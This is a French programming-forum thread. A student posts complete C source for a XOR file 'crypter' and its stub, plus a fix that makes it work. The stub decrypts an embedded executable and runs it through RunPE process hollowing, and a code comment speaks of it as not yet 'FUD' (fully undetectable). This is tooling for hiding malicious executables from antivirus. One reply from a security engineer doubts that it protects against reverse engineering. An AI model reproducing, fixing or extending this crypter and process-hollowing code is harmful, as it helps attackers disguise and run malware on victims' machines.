IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

C Discussion :

Crypteur de fichier xor avec stub


Sujet :

C

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre du Club
    Femme Profil pro
    Étudiant
    Inscrit en
    Juillet 2011
    Messages
    6
    Détails du profil
    Informations personnelles :
    Sexe : Femme
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Juillet 2011
    Messages : 6
    Par défaut Crypteur de fichier xor avec stub
    J'ai modifié la source :

    Crypter : main.c
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
     
    #include <stdio.h>
    #include <windows.h>
    #include <conio.h>
     
    #define IDR_STUB 1
     
    struct StubData{
        unsigned char * pFileBuffer;
        unsigned long FileSize;
        unsigned char * pKey;
        unsigned long KeySize;
    };
     
    /* Generic Error & Exit Function */
    void error(char * msg)
    {
        printf("%s\n", msg);
        exit(EXIT_FAILURE);
    }
     
    /* This Function Loads the File into the HEAP memory space */
    void LoadFile(char File[20], struct StubData * sData)
    {
     
        unsigned long BytesRead;
     
        HANDLE hFile = CreateFile(File, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
     
     
        printf("[*]Loading Portable Executable\n");
        if(hFile == INVALID_HANDLE_VALUE)
        {
            error("Error - Cannot open file");
        }
     
        sData->FileSize = GetFileSize(hFile, NULL);
        if(sData->FileSize == INVALID_FILE_SIZE)
        {
            CloseHandle(hFile);
            error("Error - Cannot retrieve file size");
        }
     
        sData->pFileBuffer = (unsigned char *)malloc(sData->FileSize);
        if(sData->pFileBuffer == NULL)
        {
            CloseHandle(hFile);
            error("Error - Cannot allocate room");
        }
     
        ReadFile(hFile, sData->pFileBuffer, sData->FileSize, &BytesRead, NULL);
        CloseHandle(hFile);
     
    }
     
    /* Simple XOR Encryption (NOT FUD -- Learn to Develop your own) */
    void Encrypt(struct StubData * sData)
    {
        int i,j;
        sData->pKey="AbcdefGhijkLmnoPkrstuVwxyZ";
        sData->KeySize=strlen(sData->pKey);
        j=0;
        i=0;
        printf("[*]Encoding\n");
     
        for(i;i<sData->FileSize;i++)
        {
      *(sData->pFileBuffer+i) ^=*(sData->pKey+j);
      j++;
     
      if (j>=sData->KeySize)j=0;
     
        }
     
    }
     
    /* Load the stub and resource data (sData) and write out a new file "crypted.exe" */
    void Build(struct StubData * sData)
    {
     
        HRSRC hRsrc;
        HGLOBAL hGlob;
        HANDLE hFile, hUpdate;
     
        unsigned long rSize;
        unsigned char * pBuffer;
        unsigned long BytesWritten;
     
        printf("[*]Building Crypted.exe\n");
     
        hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_STUB), "stub.exe");
        if(hRsrc == NULL)
        {
      error("Error Could not find resource");
     
        }
        rSize = SizeofResource(NULL, hRsrc);
     
        hGlob = LoadResource(NULL, hRsrc);
        if(hGlob == NULL)error("Error - Could not load resource");
     
        pBuffer = (unsigned char *)LockResource(hGlob);
        if(pBuffer == NULL)error("Error - Could not lock resource");
     
        hFile = CreateFile("crypted.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
        if(hFile == INVALID_HANDLE_VALUE)
        {
      free(pBuffer);
      free(sData->pFileBuffer);
      error("Error - Could not create file");
        }
     
        if(WriteFile(hFile, pBuffer, rSize, &BytesWritten, NULL)==0)
        {
      free(pBuffer);
      free(sData->pFileBuffer);
      error("Error - Could not write to file");
        }
     
        CloseHandle(hFile);
        free(pBuffer);
     
        hUpdate = BeginUpdateResource("crypted.exe", FALSE);
        if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(10), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pFileBuffer, sData->FileSize)==0)
        {
      error("Error - Could not update resource");
        }
     
        if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(20), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pKey, sData->KeySize)==0)
        {
      error("Error - Could not update resource");
        }
        EndUpdateResource(hUpdate, FALSE);
     
    }
     
    main(int argc, char * argv[])
    {
     
        struct StubData sData = {"",0,"",0};
     
        char name[20] = "Hello.exe";
        LoadFile(name, &sData);
        Encrypt(&sData);
        Build(&sData);
        free(sData.pFileBuffer);
        printf("[*]Finished Successfully");
     
        getch();
        getch();
    }
    crypter.rc :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    #define IDR_STUB 1
     
    IDR_STUB STUB DISCARDABLE "stub.exe"

    stub : main.c

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
     
    #include <stdio.h>
    #include <windows.h>
     
    typedef void (WINAPI *PTRZwUnmapViewOfSection)(
      IN HANDLE ProcessHandle, IN PVOID BaseAddress);
     
    struct StubData{
        unsigned char * pFileBuffer;
        unsigned long FileSize;
        unsigned char * pKey;
        unsigned int KeySize;
        char FileName[MAX_PATH];
    };
     
    void LoadStruct(struct StubData * sData)
    {
        HRSRC hRsrc;
        HGLOBAL hGlob;
     
        hRsrc = FindResource(NULL, MAKEINTRESOURCE(10), RT_RCDATA);
        if (hRsrc == NULL)exit(EXIT_FAILURE);
     
        sData->FileSize = SizeofResource(NULL, hRsrc);
        hGlob = LoadResource(NULL, hRsrc);
        if (hGlob == NULL)exit(EXIT_FAILURE);
     
        sData->pFileBuffer = (unsigned char*)LockResource(hGlob);
        if (sData->pFileBuffer == NULL)exit(EXIT_FAILURE);
     
        hRsrc = FindResource(NULL, MAKEINTRESOURCE(20), RT_RCDATA);
        if (hRsrc == NULL)exit(EXIT_FAILURE);
     
        sData->KeySize = SizeofResource(NULL, hRsrc);
        hGlob = LoadResource(NULL, hRsrc);
        if (hGlob == NULL)exit(EXIT_FAILURE);
     
        sData->pKey = (unsigned char*)LockResource(hGlob);
        if (sData->pKey == NULL)exit(EXIT_FAILURE);
     
        GetModuleFileName(NULL, sData->FileName, MAX_PATH);
     
    }
     
    /* Simple XOR Encryption (NOT FUD -- Learn to Develop your own) */
    void Decrypt(struct StubData * sData)
    {
        int i=0,j=0;
     
     
     
        for(i=0;i<(sData->FileSize);i++)
        {
      *(sData->pFileBuffer+i) ^=*(sData->pKey+j);
      j++;
     
      if (j>=sData->KeySize)j=0;
     
        }
     
    }
     
    void runPE(struct StubData * sData)
    {
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        CONTEXT ctx;
     
        PIMAGE_DOS_HEADER pidh;
        PIMAGE_NT_HEADERS pinh;
        PIMAGE_SECTION_HEADER pish;
     
        PTRZwUnmapViewOfSection pZwUnmapViewOfSection = NULL;
        int i;
     
        memset(&si, 0, sizeof(si));
        si.cb = sizeof(STARTUPINFO);
        ctx.ContextFlags = CONTEXT_FULL;
     
        pidh = (PIMAGE_DOS_HEADER)&sData->pFileBuffer[0];
        if(pidh->e_magic != IMAGE_DOS_SIGNATURE)
        {
            return;
        }
        pinh = (PIMAGE_NT_HEADERS)&sData->pFileBuffer[pidh->e_lfanew];
        if(pinh->Signature != IMAGE_NT_SIGNATURE)
        {
            return;
        }
     
        CreateProcess(NULL, sData->FileName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
     
        pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
        pZwUnmapViewOfSection(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase);
     
        VirtualAllocEx(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     
        WriteProcessMemory(pi.hProcess, (void *)pinh->OptionalHeader.ImageBase, &sData->pFileBuffer[0], pinh->OptionalHeader.SizeOfHeaders, NULL);
        for(i = 0; i < pinh->FileHeader.NumberOfSections; i++)
        {
            pish = (PIMAGE_SECTION_HEADER)&sData->pFileBuffer[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i];
            WriteProcessMemory(pi.hProcess, (void *)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), &sData->pFileBuffer[pish->PointerToRawData], pish->SizeOfRawData, NULL);
        }
     
        GetThreadContext(pi.hThread, &ctx);
        ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
        SetThreadContext(pi.hThread, &ctx);
        ResumeThread(pi.hThread);
    }
     
    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
        struct StubData sData;
        LoadStruct(&sData);
        Decrypt(&sData);
        runPE(&sData);
        return 0;
    }
    Je travaille sous Code::Blocks .

    Après compilation du crypter et exécution, mon exécutable m'affiche l'erreur : Error Could not find resource , Cad qu'il n'a pas trouvé stub.exe.
    Hors le stub se trouve dans me le même dossier que le project.

    Comment résoudre ce problème ?

  2. #2
    Modérateur
    Avatar de gangsoleil
    Homme Profil pro
    Manager / Cyber Sécurité
    Inscrit en
    Mai 2004
    Messages
    10 150
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Haute Savoie (Rhône Alpes)

    Informations professionnelles :
    Activité : Manager / Cyber Sécurité

    Informations forums :
    Inscription : Mai 2004
    Messages : 10 150
    Par défaut
    Bonjour,

    Il plante ou ? Quel type d'erreur ?

    Et lorsque ton programme endommage le fichier, est-ce que pour autant il fonctionne correctement, ou bien provoque-t-il aussi des erreurs ?
    "La route est longue, mais le chemin est libre" -- https://framasoft.org/
    Les règles du forum

  3. #3
    Membre du Club
    Femme Profil pro
    Étudiant
    Inscrit en
    Juillet 2011
    Messages
    6
    Détails du profil
    Informations personnelles :
    Sexe : Femme
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Étudiant

    Informations forums :
    Inscription : Juillet 2011
    Messages : 6
    Par défaut
    Après une journée de travaille, j'ai enfin pu achevé ce petit monstre .

    Au niveau du crypter (main.c) -> La fonction Build -> Cette ligne :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_STUB), "stub.exe");
    il fallait mettre :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_STUB), "STUB");
    puisque :
    [CODE#define IDR_STUB 1

    IDR_STUB STUB DISCARDABLE "stub.exe"][/CODE]

    Et comme ça mon Hello.exe sera protégé du Reverse_engineering .

    Si vous avez des suggestions, n’hésitez pas me les dire.

  4. #4
    Membre émérite
    Avatar de f-k-z
    Homme Profil pro
    Ingénieur sécurité
    Inscrit en
    Juin 2006
    Messages
    403
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 40
    Localisation : France, Mayenne (Pays de la Loire)

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : Aéronautique - Marine - Espace - Armement

    Informations forums :
    Inscription : Juin 2006
    Messages : 403
    Par défaut
    Citation Envoyé par codeurduzero Voir le message
    Et comme ça mon Hello.exe sera protégé du Reverse_engineering .

    Si vous avez des suggestions, n’hésitez pas me les dire.
    Yopyop,

    Je n'ai pas regardé le code, mais cette phrase me fait tiquer... Au moment où la personne fera un peu de reverse avec une exécution pas à pas, cela sera largement visible et une simple analyse de l'application PE le signalera. (Sections etcetc).


    ++

    Fiki

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Chiffrement XOR avec un fichier
    Par jamesb dans le forum Langage
    Réponses: 2
    Dernier message: 07/03/2009, 00h59
  2. Réponses: 1
    Dernier message: 18/06/2004, 01h12
  3. [Système] Ouvrir fichier externe avec prog par défaut de l'OS
    Par Pill_S dans le forum API standards et tierces
    Réponses: 9
    Dernier message: 30/05/2004, 11h54
  4. [java][Oracle]Ouvrir un fichier(blob) avec le browser
    Par marsup54 dans le forum Servlets/JSP
    Réponses: 8
    Dernier message: 11/09/2003, 13h35
  5. [Kylix] jouer un fichier wav avec kilyx
    Par JlouisI dans le forum EDI
    Réponses: 1
    Dernier message: 14/06/2002, 02h05

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo